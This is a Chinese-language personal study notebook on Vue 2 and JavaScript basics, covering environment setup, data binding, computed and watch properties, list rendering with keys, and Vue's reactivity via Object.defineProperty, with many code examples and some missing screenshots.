目录
1.1安装nodejs/npm、vue-cli,通过vue create命令创建并运行vue工程,以及打包和打包后运行;Hbuilder创建vue工程
1.3安装指定版本的vue-cli,因为win7不能装高版本的node.js可以装10.23.1,IDEA开发vue项目
1.5删除node_modules和package-lock.json并重新加载
1.6 vscode安装时候win7不支持高版本(1.6X的支持),vscode安装liveserver插件。
3.vue案例(el和$mount、定时器、自定义睡眠函数等)
4.vue实例几种data写法的this区别,methods中函数的几种写法
6.data中自定义的属性都作为Vue实例的属性,Vue实例原本的属性也可以在模板中直接使用
8.js中数组的push()/pop()和shift()/unshift()方法
10.v-for中:key的使用场景:保证已勾选的多选框不乱序等(标题22中内容含补充说明)
11.Object.defineProperty()方法控制属性操作权限及get、set方法
1.新添加的属性在打印时默认颜色变淡且不能被枚举(一一列举)即不能被遍历,也不能被修改,不能被删除:
7._data:vue默认的数据代理(低层是Object.defineProperty())
13.事件修饰符-prevent/stop/once/capture/self/passive
用watch块也可以实现标题16.4中用computed块实现的姓名联动案例:
2.按钮动态改变class样式--vue中v-bind--字符串写法
3.按钮动态改变class样式--vue中v-bind--数组写法
4.按钮动态改变class样式--vue中v-bind--对象写法
1.string.indexOf() 和 array.filter() 用法
1.array.sort()用法 和 js中bool和java中bool对比
26.Vue监测数据原理 和 Vue.set(target,key/index,val)实现新添加属性监测 和 数组元素监测 和 Vue.delete()/vm.$delete()实现属性删除监测
1.vue底层的Observer()构造函数--会循环调用Object.defineProperty()
2.Vue监测数据原理——[控制台修改属性值->页面属性值自动更新的原理]
3.Vue.set(target,key/index,val)和vueinstanceName.$set(target,key/index,val)实现新添加属性的监测(也可以实现数组元素的监测)
5.删除属性检测,Vue.delete()/vm.$delete()实现响应式
28.过滤器filters块 和 全局过滤器 和 dayjs日期处理插件
一、环境搭建 和 工程结构 及 运行
包括通过vue create命令创建vue工程 Vue系列入门教程(6)——vue-cli脚手架 _ 潘子夜个人博客
指定目录并配置环境变量https://jingyan.baidu.com/article/f0062228d7d4abbad2f0c857.html
安装vue-cli指定低版本https://www.csdn.net/tags/NtDakg3sMDIzODYtYmxvZwO0O0OO0O0O.html
如何使用IntelliJ IDEA创建Vue项目并运行 _ 潘子夜个人博客
环境搭建好后建议通过cmd面板方式创建vue项目然后在idea或者h-builder打开,通过idea创建时候一直Indexing paused due to project generation。
vue init webpack命令创建vue项目工程_龙端刘的博客-CSDN博客_创建vue项目的命令
1.1安装nodejs/npm、vue-cli,通过vue create命令创建并运行vue工程,以及打包和打包后运行;Hbuilder创建vue工程
1.2指定相关目录并配置环境变量
1.3安装指定版本的vue-cli,因为win7不能装高版本的node.js可以装10.23.1,IDEA开发vue项目
正常情况下,Win7所能支持的Node.js最高版本为:V13.14
1.4vue init webpack命令创建vue工程
如果vue init webpack命令找不到:
1.5删除node_modules和package-lock.json并重新加载
1.6 vscode安装时候win7不支持高版本(1.6X的支持),vscode安装liveserver插件。
通过live server插件打开html文件,live server会占用一个端口(5500)作为工作端口供浏览器访问,同时会把html文件所在工程的目录作为浏览器可访问的根目录(如浏览器访问http://127.0.0.1:5500/可以看到工程目录)
二、 入门学习
1.快捷键
浏览器强制刷新:shift+浏览器刷新按钮,或者crtl+f5
vscode的"编辑"菜单下提示了单行注释和块注释的快捷键
Vue.config.productionTip = false //阻止vue启动时在Console生成生产提示,发现不奏效,修改vue.js把productionTip: true改为false即可。
var data = {
name: '东侧的权威',
newId: "爱搭搭所多",
list: [
{ id: 1, name: '张三' },
{ id: 2, name: '李四' },
{ id: 3, name: '王五' }
],
}
console.log("data.newId = " + data.newId);//data.newId = 爱搭搭所多
console.log(data["name"]);//东侧的权威
console.log(data["name"][0]);//东
console.log(data["name"][-67]);//undefined
console.log(data["list"][2]);//{id: 3, name: '王五'}
console.log(data.list[2]);//{id: 3, name: '王五'}
console.log("asas" + data["list"][2]);//asas[object Object]
2.v-bind和v-model,单向绑定和双向绑定
v-model只能应用在表单元素上。
可运行如下代码查看双向绑定和单向绑定的区别:
<!--html:5-->
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>初始vue</title>
<!--引入vue-->
<script type="text/javascript" src="../js/vue.js"></script>
</head>
<body>
<div id="root">
<!-- <input type="text" v-bind:value="name"></input> -->
姓名1: <input type="text" :value="name"/><hr/>
<!-- 下面两种错误写法,输入框中显示的不是name的属性值分别是name和{{name}},原样输出
姓名1: <input type="text" value="name"/><hr/>
姓名1: <input type="text" value="{{name}}"/><hr/>
-->
<!-- <input type="text" v-model:value="name"></input> -->
姓名2: <input type="text" v-model="name"/>
</div>
</body>
<script type="text/javascript">
Vue.config.productionTip = false;
const vm = new Vue({
data: function () {
return {
name: "Vue第一个",
url: 'http://www.baidu.com'
}
}
})
setTimeout(() => {
vm.$mount("#root");//vue初次挂载到容器后,data数据通过单向/双向绑定更新不会再延迟5s
}, 5000);
</script>
</html>
v-bind单向绑定和{{}}的区别:
v-bind用在标签上,{{}}用在头尾标签之间的内容中,{{}}也可以实现数据自动从data流到页面。
{{}}用在标签上无效,会原样输出:
应使用v-bind:value="name"
3.vue案例(el和$mount、定时器、自定义睡眠函数等)
案例:
<!--html:5-->
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>初始vue</title>
<!--引入vue-->
<script type="text/javascript" src="../js/vue.js"></script>
</head>
<body>
<div id="root">
<h1 style="text-align: center;">这是{{name}}笔记<br />{{Date.now()}}</h1>
<a :href="url.toUpperCase()">百度一下</a>
</div>
</body>
<script type="text/javascript">
Vue.config.productionTip = false //阻止vue启动时在Console生成生产提示
//创建vue实例--使用vue的前提
const vm = new Vue({
/* el: "#root", //el用于指定当前vue实例为哪个容器服务【容器与实例一一对应】,值通常为css选择器字符串,也可以为下行注释内容
//el:document.getElementById("root") */
data: { //data中数据仅供el绑定的容器使用,对象式写法
name: "Vue第一个",
url: 'http://www.baidu.com'
}
/* data: function () {//data写法二函数式
return {
name: "Vue第一个",
url: 'http://www.baidu.com'
}
} */
})
console.log(vm);
/* setTimeout(function () { */
setTimeout(() => {
// 【一段时间后,需要执行的代码】
vm.$mount("#root");//相当于el
}, 5000); // 定时时间ms
</script>
</html>
定时器(只执行一次)写法:
setTimeout是不会阻碍其后续代码的执行的,setTimeout是异步操作
/* setTimeout(function () { 这样写也可以,此时代码块中的this是window,即便是写在创建vue实例的代码块中也是window实例而不是vue实例*/
setTimeout(() => { =>函数写法会使代码块的this失效,this值将是上一层级的this,如果setTimeout(() => {写在new Vue({...})代码块中,则上一级上就是vue实例。
// 一段时间后,需要执行的代码
vm.$mount("#root");//相当于el
}, 5000); // 定时时间ms,此参数可以省略不写表示定时器立即到点返回值问题:
如果你想要终止setTimeout()方法的执行,那就必须使用 clearTimeout()方法来终止,而使用这个方法的时候,系统必须知道你到底要终止的是哪一个setTimeout()方法(因为你可能同时调用了好几个 setTimeout()方法),这样clearTimeout()方法就需要一个参数,这个参数就是setTimeout()方法的返回值(数值),用这个数值来唯一确定结束哪一个setTimeout()方法。
res、res1会立马有值,并且不是函数内return的值,return无效!。
打印结果:
定时器(真正间隔执行)写法:
setInterval(() => {
//逻辑
},1000);
自定义js睡眠函数:
function sleep(numberMillis) { //sleep(3000);睡眠3s var now = new Date(); var exitTime = now.getTime() + numberMillis; while (true) { now = new Date(); if (now.getTime() > exitTime){ return; } } }
4.vue实例几种data写法的this区别,methods中函数的几种写法
注意箭头函数中的this是window实例不是vue实例
const vm = new Vue({
/* el: "#root", //el用于指定当前vue实例为哪个容器服务【容器与实例一一对应】,值通常为css选择器字符串,也可以为下行注释内容
//el:document.getElementById("root") */
/* data: { //data中数据仅供el绑定的容器使用,对象式写法
name: "Vue第一个",
url: 'http://www.baidu.com'
} */
data: function () {//data写法二函数式
console.log("哈哈哈","嘿嘿",this);//【this是Vue实例】
return {
name: "Vue第一个",
url: 'http://www.baidu.com'
}
},
data(){//data写法二简略函数式
console.log("哈哈哈", "嘿嘿", this);//【this是Vue实例】
return {
name: "Vue第一个",
url: 'http://www.baidu.com'
}
},
data: () => {//data写法二箭头函数式
console.log("哈哈哈", "嘿嘿", this);//【this是Window实例】
return {
name: "Vue第一个",
url: 'http://www.baidu.com'
}
}
})
由vue管理的函数一定不要写成箭头函数。
补充:methods中函数的几种写法
<script type="text/javascript">
const app = new Vue({
el: '#app',
data() {
return {
name: '',
newId: 3,
list: [
{ id: 1, name: '张三' },
{ id: 2, name: '李四' },
{ id: 3, name: '王五' }
],
};
},
computed: {
},
methods: {
/* function add(){ 在methods中不行,在外部可以这样写*/
/* 在methods中这样写也可以:
add: function alias(){
add: function (){
*/
add() {
//注意这里是unshift
this.list.unshift({ id: ++this.newId, name: this.name })
this.name = ''
}
},
});
</script>
5.什么是mvvm模型(本质是双向绑定)
vue参考了mvvm模型。
mvvm:model——data中的数据、view——模板/页面/容器/dom、viewmodel——vue实例。
因此,常用vm变量名代表vue实例:const vm = new Vue(){}
6.data中自定义的属性都作为Vue实例的属性,Vue实例原本的属性也可以在模板中直接使用
7.var、let、const区别
var 、let 和 const 的区别_nilmao的博客-CSDN博客_const let var
- 使用 const 声明的变量必须进行初始化,且不能被修改
const tmp; tmp = 'abc';//报错 const tmp = 'abc';//不报错
- 在全局作用域中使用 var 声明的变量会成为 window 对象的属性,let 和 const 声明的变量则不会
var a = 666; console.log(window.a); // 666 let b = 666; console.log(window.b); // undefined const c = 666; console.log(window.c); // undefined
var 声明的范围是函数作用域,let 和 const 声明的范围是块作用域(一对大括号就是一个块级作用域),大块作用域let变量可以在子块作用域使用(前提是子块中没有对此变量重新进行声明)
if (true) { var message = "hello"; console.log(message); // hello } console.log(message); // hello if (true) { let message = "hello"; console.log(message); // hello } console.log(message); // error: message is not defined //大块作用域let变量可以在子块作用域使用 if (true) { let tmp = 123; if (true) { console.log(tmp); //123,说明大块作用域let变量可以在子块作用域使用 //(前提是子块中没有对此变量重新进行声明) tmp = 'abc'; console.log(tmp); //abc } console.log(tmp);// abc }
var 允许在同一个作用域中重复声明同一个变量,let 和 const 不允许
if (true) { // error: 无法重新声明块范围变量“a” let a; let a; } //在不同的块作用域则可以重复声明同一变量(前提是console.log(a)不放在前面) if(true){ let a = 666; console.log(a); // 666 if (true) { let a = '啊哈哈';// 重新声明 console.log(a); // 啊哈哈 } console.log(a);// 666,[注意外部的还是666,如果去掉子块中的let,则此处打印 啊哈哈] } //上面示例中的console.log(a)不能提前,否则报错 //去掉if块中的let则不会报错 let a = 666; console.log(a); // 666 if (true) { console.log(a);//Uncaught ReferenceError: Cannot access 'a' before initialization let a = '啊哈哈'; } //【VUE3.0中】 <script> import {ref,reactive,toRefs,toRaw,markRaw} from 'vue' export default { name: 'Demo', setup(){ let sum = ref(0) function showRawPerson(){ const sum = toRaw(sum)//【执行函数时报错:Cannot access 'sum' before initialization(toRaw()会从本块作用域中获取sum,而不是外部的data数据--但是张天禹这样写可以有点懵逼)】 } function showRawPerson(){ const he = toRaw(sum)//【执行函数时不报错:可以获取到函数外部let定义的sum即使函数不接收形参】 } return { sum, showRawPerson } } } </script>
用var命名的变量有变量提升,用let或const命名的变量没有变量提升
//用var命名的变量有变量提升 console.log(num1); // undefined var num1 = 10; // 以上代码运行时,相当于下面的写法 var num2; // 声明提升到作用域最顶端 console.log(num2); // undefined num2 = 10; /*****************************************/ //用let或const命名的变量没有变量提升 console.log(num3); // Uncaught ReferenceError: num3 is not defined let num3 = 10; console.log(num4); // Uncaught ReferenceError: num4 is not defined const num4 = 10;
补充说明
let tmp = 123; if (true) { var tmp; //Uncaught SyntaxError: Identifier 'tmp' has already been declared tmp = 'abc'; console.log(tmp); } var tmp = 123; if (true) { let tmp; //不报错 tmp = 'abc'; console.log(tmp);//abc } console.log(tmp);//123 let a = 666; if (true) { console.log(a);//Uncaught ReferenceError: Cannot access 'a' before initialization let a = '啊哈哈'; } let a = 666; if (true) { let a = '啊哈哈'; console.log(a);// 不报错 }
for 循环中var 和 let 声明在异步场景下的区别
var是因为在退出循环时,迭代变量保存的是导致循环退出的值,也就是 5。在之后异步执行超时逻辑时,所有的i都是同一个变量,因此输出的都是同一个最终值。
而在使用let声明迭代变量时,JS 引擎在后台会为每个迭代循环声明一个新的迭代变量,每个 setTimeout 引用的都是不同的变量实例,所以 console.log 输出的是我们期望的值,也就是循环执行过程中每个迭代变量的值。
for (var i = 0; i < 5; i++) { console.log(i); // 0、1、2、3、4,不是异步则会是我们期待的输出 } for (var i = 0; i < 5; i++) { setTimeout( () => { console.log(i); // 5、5、5、5、5 }, 1000) } for (let i = 0; i < 5; i++) { setTimeout( () => { console.log(i); // 0、1、2、3、4 }, 1000) }
8.js中数组的push()/pop()和shift()/unshift()方法
push:在数组末尾添加成员,返回添加后数组长度
pop:在数组末尾剪切一个成员,返回剪切的值shift:删除原数组第一项,并返回删除元素的值;如果数组为空则返回undefined
var a = [1,2,3,4,5]; var b = a.shift(); //a:[2,3,4,5] b:1
unshift:将若干参数添加到原数组开头,并返回数组的长度
var a = [1,2,3,4,5]; var b = a.unshift(-2,-1); //a:[-2,-1,1,2,3,4,5] b:7
9.v-for使用案例
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8" />
<title></title>
<script src="js/vue.js" type="text/javascript" charset="utf-8"></script>
</head>
<body>
<div id="app">
<ul>
<!-- 1、遍历对象 value :表示对象的属性值 key :当前对象的属性名 index:当前对象的索引值 -->
<li v-for="(value, key, index) in person">
{{index}} - {{key}} - {{value}}
</li>
<hr/>
<!-- 2、遍历数组 item: 代表遍历的每一个数组对象 index:当前数组对象的索引值 -->
<li v-for="(item,index) in lesson">
{{index}} - {{item.name}} - {{item.type}}
</li>
<hr/>
<!-- 3、双层嵌套 把课程中内容遍历出来 -->
<li v-for="(item,index) in lesson">
<span v-for="(childValue,index) in item.type"></span><!--【item.type】-->
{{index}} - {{childValue}}
<br>
</span>
</li>
<hr/>
<!-- 4、遍历字符串 in在有的老版本中可以替换为of 括号可以省略-->
<li v-for="char, index of str">
{{char}} - {{index}}
</li>
<!-- 4、遍历指定次数 number取值为1~5 -->
<li v-for="number, index in 5">
{{number}} - {{index}}
</li>
</ul>
</div>
</body>
<script type="text/javascript">
var vm = new Vue({
el: '#app',
data: {
person: {
name: 'zfpx',
age: 7,
},
lesson: [
{ name: '前端三大块', type: ['HTML', 'CSS', 'JavaScript'] },
{ name: '前端三大框架', type: ['vuejs', 'react', 'angularjs'] },
] ,
str:'hello'
} ,
});
</script>
</html>
10.v-for中:key的使用场景:保证已勾选的多选框不乱序等(标题22中内容含补充说明)
https://www.jb51.net/article/230338.htm
不在v-for的标签中加入:key时:
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<script src="../../js/vue.js"></script>
<title>关于v-for的key</title>
</head>
<body>
<div id="app">
<div>
<input type="text" v-model="name"><!--v-model作用:把输入框的值双向绑定到name属性,通过按钮add方法把name添加到list属性再单向绑定到checkbox-->
<button @click="add">添加</button>
</div>
<ul>
<span v-for="(item, index) in list">
<input type="checkbox"> {{item.name}}{{item.id}}
<br/>
</span>
</ul>
</div>
<script type="text/javascript">
const app = new Vue({
el: '#app',
data() {
return {
name: '',
newId: 3,
list: [
{ id: 1, name: '张三' },
{ id: 2, name: '李四' },
{ id: 3, name: '王五' }
],
};
},
computed: {
},
methods: {
/* function add(){ 【在methods中不行,在外部可以这样写】*/
/* 在methods中这样写也可以:
add: function alias(){
add: function (){
*/
add() {
//注意这里是unshift
this.list.unshift({ id: ++this.newId, name: this.name })
this.name = ''
}
}
});
</script>
<style scoped>
</style>
</body>
</html>
点击添加按钮对号不能跟随移动!
在v-for的标签中加入:key时:
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<script src="../../js/vue.js"></script>
<title>关于v-for的key</title>
</head>
<body>
<div id="app">
<div>
<input type="text" v-model="name"><!--v-model作用:把输入框的值双向绑定到name属性,通过按钮add方法把name添加到list属性再单向绑定到checkbox-->
<button @click="add">添加</button>
</div>
<ul>
<!--必须加冒号,【这里item.id不能替换为index,因为用的是unshift添加打乱了顺序】-->
<li v-for="(item, index) in list" :key="item.id">
<input type="checkbox">{{item.id}}-{{item.name}}--{{index}}
<br/>
</li>
</ul>
</div>
<script type="text/javascript">
const app = new Vue({
el: '#app',
data() {
return {
name: '',
newId: 3,
list: [
{ id: 1, name: '张三' },
{ id: 2, name: '李四' },
{ id: 3, name: '王五' }
],
};
},
computed: {
},
methods: {
add() {
//注意这里是unshift
this.list.unshift({ id: ++this.newId, name: this.name })
this.name = ''
}
},
});
</script>
<style scoped>
</style>
</body>
</html>
点击添加按钮 对号可以跟随移动了
11.Object.defineProperty()方法控制属性操作权限及get、set方法
给对象添加属性
Object.defineProperty(对象名称,对象属性名字符串,{
value:属性值
})
1.新添加的属性在打印时默认颜色变淡且不能被枚举(一一列举)即不能被遍历,也不能被修改,不能被删除:
let person = {
name:"张三",
sex:"男",
}
Object.defineProperty(person,'age',{
value:26
})
console.log(person);// {name: '张三', sex: '男', age: 26}
//【使用Object.defineProperty添加的属性不参与遍历】
console.log(Object.keys(person));// ['name', 'sex'],Object.keys(person)打印对象的属性名数组
for (const key in person) {
if (Object.hasOwnProperty.call(person, key)) {//Object.hasOwnProperty.call(person, key)判断对象person是否含有属性key
const element = person[key];
console.log(element);// 张三 男
}
}
console.log(person["age"]);// 26
console.log(person[age]);//age is not defined,【必须加引号】
颜色变淡:不能修改:不能删除:
2.使新添加属性参与遍历且颜色正常
Object.defineProperty(person,'age',{
value:26,
enumerable:true //此属性是否可枚举,默认false
})
3.使新添加属性可以修改
Object.defineProperty(person,'age',{
value:26,
enumerable:true,
writable:true // 此属性是否可以修改,默认false
})
4.使新添加属性可以删除
Object.defineProperty(person,'age',{
value:26,
enumerable:true,
writable:true,
configurable:true // 此属性是否可以删除,默认false
})
5.get和set方法
通过get和set方法可以把对象的属性分离出来作为变量处理,动态赋值,实现数据代理。
点省略号调getter=>
回车修改调setter=>
注意不要写成下面这样,否则报错:
=》
data.name = val;会又去调setter。
6.通过get、set方法实现数据代理、数据劫持
注意:如果set方法体中写obj2.x=value,会死循环报错Uncaught RangeError: Maximum call stack size exceeded
数据劫持:控制台obj2.x=某value修改obj2的x的属性值时,value会被obj2的x的setter方法劫持到,执行set方法体逻辑,同时通过getter重新解析模板。什么是数据劫持/代理?get()和set()等。
7._data:vue默认的数据代理(低层是Object.defineProperty())
验证互相绑定:
注意控制台不存在/不能写data.name和vm.data.name以及_data.name,vm实例没有data属性只有_data属性;可以写vue实例名.属性名(之前说过代码中data中的属性会自动被添加到vm中作为vue实例的属性)、vue实例名._data.属性名:
注意浏览器控制面板不存在data:
但可以在代码中给data赋值一个对象类型的变量,可以在浏览器控制台打印这个变量:
Object.defineProperty()是Vue2中在读取/修改原有属性时,低层实现数据劫持、数据代理的逻辑——底层通过Observer()构造函数循环调用的Object.defineProperty(),例如使用_data代理data(自己代理自己会死循环)。
对于新添加属性、删除属性的数据劫持,以及数组中单个元素的添加删除等的数据劫持,vue2中是通过 Vue.set()/vm.$set()、Vue.delete()/vm.$delete()、以及数组的7个方法实现的。
Vue2中实现数据劫持/数据代理的底层原理:
1.通过Observer()构造函数循环调用Object.defineProperty()定义get()、set(),如vm._data代理data。
2.通过Vue.set()/vm.$set()、Vue.delete()/vm.$delete()、以及数组的7个方法。
12.v-on事件处理
需求:点击按钮,弹出提示信息
错误写法:
正确写法:
$event补充:假设形参为e
e.target返回事件所在的标签
e.target.value返回事件所在标签载入的值(input标签输入框中的值)
e.preventDefault阻止事件所在标签的默认行为,如阻止a标签href的跳转功能
e.stopPropagation阻止事件冒泡,如有单击事件的div标签包裹了有单击事件的button标签,使用此方法,可以保证点击按钮只执行按钮的单击事件,不执行div的单击事件
e.keyCode返回键盘事件的某一键盘按块对应的数值(不同笔记本可能不同)
e.key返回键盘事件的某一键盘块对应的键盘名,如Enter/Caps-lock
带参数的函数:
13.事件修饰符-prevent/stop/once/capture/self/passive
@wheel鼠标滚轮事件
@scroll滚动条滑块拖动事件,CSS配置了overflow:auto的元素会添加滚动条
不加passive时:
加passive后,滚动鼠标滑轮滑块立即滚动,无须等待回调函数执行完成,这个参数在移动端使用比较多。
注意:对于@wheel,可以使用passive优化界面显示效果。使用@scroll时,上面的场景即时不使用passive,拖动滑块时也会立即滚动。
事件修饰符可以连续写:
14.键盘事件
@click鼠标单击事件
@keyup键盘按下并松开@keydown键盘按下
任意键
Enter键,e可以大写
系统修饰键ctrl用法示例:
ctrl+任意键
ctrl+指定键
打印效果:
key键名
keyCode键值
自定义别名
不是所有的键都可以绑定键盘事件,如一些音量亮度等功能键。
15.JS中的!=、== 、!==、===
var num = 1;
var str = '1';
var test = 1;
test == num //true 相同类型 相同值
test === num //true 相同类型 相同值
test !== num //false ===的取非
num == str //true 把str转换为数字,比较值是否相等
num != str //false ==的非运算
num === str //false 类型不同,直接返回false
num !== str //true num与str类型不同意味着其两者不全等,非运算自然是true
== 和 != 比较,若类型不同,先偿试转换类型,再作值比较,最后返回值比较结果 。
而
=== 和 !== 只有在相同类型下,才会比较其值,不做类型转换,类型不同的一定不等。
16.computed块计算属性--姓名案例
1.需求:实现联动效果
2.插值语法实现——和array.slice()语法:
var fruits = ["Banana", "Orange", "Lemon", "Apple", "Mango"];
// 截取第2+1个到第4个
console.log(fruits.slice(2,4));//['Lemon', 'Apple']
// 截取倒数第3个(包含)到倒数第1个(不包含)的两个元素
console.log(fruits.slice(-3,-1));//['Lemon', 'Apple']
// 截取最后3个元素
console.log(fruits.slice(-3));//['Lemon', 'Apple', 'Mango']
3.methods块实现:
插值语法括号中可以写methods中函数,但须加括号【凡是用到{{XXX}}的时候,要考虑XXX是data中属性还是methods中方法还是computed中计算属性,只有methods中的方法才需要加()】。
data中数据通过双向绑定变更时,vue模板会重新进行解析,插值语法中的函数也会重新调用。
4.计算属性-computed块实现:
computed块中的get和set方法不要写成箭头函数的格式,否则方法中使用的this不再是vue实例而是Window实例。computed中的计算属性不会数据代理到vue实例的_data中,只会代理到vue实例中,可以通过插值语法直接使用。当data中属性值变的时候,computed中引用该属性的计算属性的get()也重新执行。
上面是计算属性的完整写法,computed块计算属性的简写:简写的前提是该属性只有getter没有setter。注意插值语法中使用简写的计算属性时,还是{{计算属性名/简写形式的函数名}},不要加(),误写成{{简写形式的函数名()}}。
或
methods块中的函数也支持上面两种写法,不支持的是function showInfo(){这种写法。
计算属性允许套用别的计算属性::
17.watch块监视属性--天气案例
1.需求:点击按钮,相应内容自动切换
2.实现:插值语法中和事件属性的值可以写一些简单的表达式(表达式,是由数字、算符、数字分组符号(括号)、变量等以能求得数值的有意义排列方法所得的组合),这里表现为计算属性get方法内语句和回调函数内语句
3.现存的坑:vue的浏览器插件有一个特点,假如模板中即body标签块中没有用到data中属性,也没有用到computed中的计算属性,通过代码changeWeather()来修改data中某属性的属性值后,此时vue实例上的属性值已经更新过了,但新的属性值不会在vue的浏览器扩展插件的界面中更新显示出来,如:
4.watch块监视属性写法:
还可以监视props中属性
5. 深度监视-监视多级结构中所有属性的变化
监视多级属性的下级属性时(明确指定了监视哪一个下级属性--不需要配置deep:true)属性名不能是省略的写法——需要加引号:
当监视多级结构的一级属性时(不启用深度监视),点击第一个第二个按钮改变下级属性值,watch块都不能监测到numbers的变化,点击第三个按钮(改变掉整个一级属性的属性值而不是子属性的值)后watch块就能监测到numbers的变化了。
想要点击第一个第二个按钮改变下级属性值watch块也能监测到numbers的变化,可以开启深度监视(默认不开启深度监视,handler()可以没有形参):
监视存储对象类型元素的数组,当修改数组某一对象元素的某一属性时,也是需要开启深度监视才能监视到数组的变化。
6.监视的简写:
watch块的简写:
vm.$watch()的简写:
虽然不是写在创建vue实例的代码块中,但没有使用箭头函数,此时this也是vue实例。
注意使用箭头函数时this是window:
所有vue管理的函数都不要写成箭头函数(并不是写在创建vue实例代码块中的函数就是被vue管理的函数,如directives块中所有函数中的this都指代的是window而不是vue实例、定时器回调函数、ajax回调函数、promise回调函数;也不是写在创建vue实例代码块外的函数就不是被vue管理的函数,如上所述的vm.$watch等)。
18.computed和watch对比
用watch块也可以实现标题16.4中用computed块实现的姓名联动案例:
测试两种写法是否都支持setTimeout()异步执行:
setTimeout()中return无效。
setTimeout()维护数据有效(前提是使用箭头函数)。
测试结果:
计算属性的getter必须return返回值给计算属性,不能在异步任务中return数据(如本文标题3中所述),所以不支持setTimeout()异步执行;
监视属性可以开启异步任务维护数据,不需要return返回值,通过代码直接操作数据,支持setTimeout()异步执行;
注意:
setTimeout嵌套在firstName中,
setTimeout是js管理的函数(即便setTimeout被写在创建vue实例的代码块中)其中的this指代的仍是window,但setTimeout使用箭头函数使得其代码块中this原指的window失效,
firstName是vue管理的监视属性/函数,且不是箭头函数,所以其中的this指代的是vue实例,
因为setTimeout嵌套在firstName中,setTimeout的this失效,firstName的this有效,
所以setTimeout中的this就是firstName的this,指代的是vue实例。
总结:
vue管理的函数不要写成箭头函数,不被vue管理的函数如果写在创建vue实例的代码块中则最好写成箭头函数。
1.当计算属性和监视属性都能实现时,用计算属性效率更高,计算属性内部有缓存机制(仅在第一处用到时和依赖的数据发生更改时才调用);
2.计算属性相当于通过计算生成一个新的属性(和data属性还有区别--计算属性不会绑定到vm._data上),监视属性监视已经存在的属性(包括data属性和computed属性)不会新建属性;
3.computed能完成的功能watch都能完成,watch能完成的功能computed不一定能完成,如:watch可以进行setTimeout()异步操作,computed不能进行setTimeout()异步操作::因为setTimeout()return的返回值无效它的返回值是自己被调用的唯一标志;
19.vue中绑定class样式
下面用到class样式均已经定义好了,这里省略不展示
1.按钮动态改变class样式--js写法--不推荐
2.按钮动态改变class样式--vue中v-bind--字符串写法
3.按钮动态改变class样式--vue中v-bind--数组写法
也可以转化成这样直接把属性值放进来,但不能动态改变样式,不推荐:
注意不写引号会作为属性名处理,这样写也可以动态改变样式,不推荐:
4.按钮动态改变class样式--vue中v-bind--对象写法
这样写也可以,但不能动态改变样式,不推荐:
这样写也可以动态改变样式,但写法复杂,不推荐:
20.vue中绑定内联style样式
(一般用标题19中的样式写法,这种内联写法比较少用)
1.对象式写法:
相当于这样:
属性名和css样式关键字名一样的,还可以简写:
2.数组式写法
相当于这样:
21.条件渲染
1.v-show
控制元素是否显示,底层会将其解析成style="display:none;",元素还在只是不显示。
值是bool类型,可以直接写true/false,也可以写结果为true/false的表达式:
还可以写字符串或者数值属性名:
ccccc:0 ccccc:0.000 ccccc:-0.000 ccccc:"" ccccc:null 处理为false
ccccc:"0" ccccc:0.001 ccccc:-0.001 ccccc:"null" 处理为true
2.v-if
控制元素是否显示,控制台Elements中此元素结构将不复存在。
控制台Elements显示:
v-else-if和v-else必须和v-if配合使用,并且不能被隔开,否则如下图最后两行报错:without corresponding v-if
3.效率问题
显示隐藏切换频率高的用v-show比v-if好,因为节点元素还在。
4.批量显示/隐藏——template标签配合v-if
template标签不能配合v-show使用。
template不会像div标签一样影响到页面布局:
22.列表渲染(对本文9~10标题中内容的补充)
1.总结
v-for中不写:key时,默认:key="index",此时对数据进行逆序添加、逆序删除时效率低并且如果每次循环都有单选框、输入框等录入类的标签还会发生错误的dom更新。
数组添加元素,unshift/shift是逆序、push/pop是顺序。
2.vue的虚拟dom对比算法:
这个算法是逆序操作数据使得单选框输入框不能自动对齐原数据的原因。
逆序操作数据并且每次循环的数据都有input框,此时使用index作为key时:
使用id作为key时:
23.列表过滤--watch和computed实现
列表过滤要达到的效果:
1.string.indexOf() 和 array.filter() 用法
【特别注意,空字符串也返回0而不是-1】
'abcd'.indexOf('c'); //2 返回第一次出现的下标
'abcd'.indexOf('a'); //0 返回第一次出现的下标
'abcd'.indexOf(''); //0 【特别注意,空字符串也返回0而不是-1】
'abcd'.indexOf('f'); //-1 不存在的返回-1
数组过滤的写法:
2.watch实现
3.computed实现--比watch更简练
24.列表排序
列表排序效果:支持过滤(上一标题已经实现),支持点击按钮对过滤后的列表按照年龄排序
1.array.sort()用法 和 js中bool和java中bool对比
当数组元素是数值时:
array.sort((a,b)=>{
return a-b //升序
})
array.sort((a,b)=>{
return b-a //降序
})
当数组元素是对象时:
array.sort((a,b)=>{
return a.age-b.age //age升序
})
array.sort((a,b)=>{
return b.age-a.age //age降序
})
js是弱类型语言,0为false,非0为true。
java是强类型语言,0和非0是整型既不为true也不为false。
2.computed块实现列表排序
25.更新时的一个问题(不能监测数组元素)
当更新数组内某个对象元素的某个属性的值时,页面数据的更新没有问题[这些属性值都有getter和setter,是响应式的属性];当更新数组内某个对象元素的整个对象的值时,页面数据的更新存在问题(原因是Vue不会自动生成数组元素的getter/setter,persons有getter和setter):
问题1:
打开vue开发者工具后再点击更新按钮,在Console中打印属性值发现浏览器内存中更新了,但是开发者工具的Vue模型data中数据和页面数据都没有更新!
问题2:
点击更新按钮后再打开vue开发者工具,在Console中打印属性值发现浏览器内存中更新了,开发者工具的data中数据也更新了(可能是从内存中重加载了),唯独页面数据没有更新!
使用特定方法进行替换则可以成功更新:
26.Vue监测数据原理 和 Vue.set(target,key/index,val)实现新添加属性监测 和 数组元素监测 和 Vue.delete()/vm.$delete()实现属性删除监测
1.vue底层的Observer()构造函数--会循环调用Object.defineProperty()
Observer()会创建一个用于监视的实例对象,用于监视data中属性的变化,其部分代码类似如下:
构造函数是用new 调用的。
输出创建的Observer实例对象,可以看到属性是响应式的(即有getter/setter)
2.Vue监测数据原理——[控制台修改属性值->页面属性值自动更新的原理]
第一种方式:getter+setter+数据代理(避免getter、setter自己代理自己造成死循环如下图)。
